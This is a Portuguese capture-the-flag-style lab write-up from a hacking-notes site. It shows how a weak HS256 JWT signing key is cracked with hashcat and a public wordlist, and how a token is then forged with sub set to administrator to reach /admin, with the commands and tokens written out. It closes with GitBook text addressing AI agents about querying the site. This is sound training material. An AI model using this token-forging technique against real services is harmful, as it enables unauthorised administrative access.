> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).

# Contorno de Autenticação JWT com uma Chave Fraca

### Bypass de autenticação JWT via chave de assinatura fraca

**Descrição do laboratório**

Este laboratório usa um mecanismo de sessão baseado em JWT. / A chave secreta usada para **assinar e verificar tokens é extremamente fraca**, permitindo que o **encolha facilmente** usando uma lista de segredos comuns.

Objetivo:

* Encontre a chave secreta usada pelo servidor. \*Forje um JWT válido com essa chave para acessar o `/admin` painel de administração.
* Excluir usuário **carlos**.

Credenciais fornecidas\:/ `wiener:peter`

\*\* JWT inicial recuperado\*\*

{% code overflow="wrap" %}

```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```

{% endcode %}

Observa-se que o algoritmo usado é **HS256**, portanto, um **algoritmo simétrico** baseado em um segredo compartilhado.

**Força bruta da chave secreta**

Usamos uma lista de segredos JWT comuns:

```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```

Em seguida, lance o ataque de força bruta com **hashcat**:

```bash
hashcat -a 0 jwt jwt.secrets.list
```

<figure><img src="/files/4243cc230f535d56593afad7d4883ae857e9953b" alt=""><figcaption></figcaption></figure>

Resultado:

* Chave secreta encontrada: **`secret1`**

<figure><img src="/files/e701bae9a30920efe6e1867007e5afee297e0464" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8cc78ea064dc94826bca375bf4b3d9cccea728e3" alt=""><figcaption></figcaption></figure>

**Preparação da chave para assinatura**

O **JWT Editor** a extensão aguarda a chave em formato Base64.

Codificação da chave:

```bash
c2VjcmV0MQ==
```

<figure><img src="/files/d8f5c722d113140ee035deb4788a76346234ea68" alt=""><figcaption></figcaption></figure>

Criando uma chave simétrica no JWT Editor:

```json
{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}
```

<figure><img src="/files/c3d77a39e06c88508a9ee5e19ea8a13562ebad23" alt=""><figcaption></figcaption></figure>

Um ID da chave (`kid`) é então gerado e usado para assinar o token.

<figure><img src="/files/698de62b874983e48dcfbfd2ddc1d6d23bd4b9f4" alt=""><figcaption></figcaption></figure>

**Modificação do JWT**

* Interceptação da requisição contendo o JWT.
* Altere o `sub` campo:
* `wiener` → `administrador`

<figure><img src="/files/6c5f7676bfdc7c5e1536f5453ec63051779fe9ae" alt=""><figcaption></figcaption></figure>

Reassinatura do token com a chave secreta encontrada

<figure><img src="/files/4989172e46a98375d0fa390d978969419220e4c7" alt=""><figcaption></figcaption></figure>

JWT forjado final:

```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```

**Resultado**

* O servidor aceita o JWT assinado com a chave fraca.
* Acesso bem-sucedido ao `/admin` painel.
* O usuário é reconhecido como \*\*administrador\*\*.
* O laboratório é validado após a remoção do usuário **carlos**.

<figure><img src="/files/0c82a492947b6e46f122e80e07b7d2ef865d21b8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
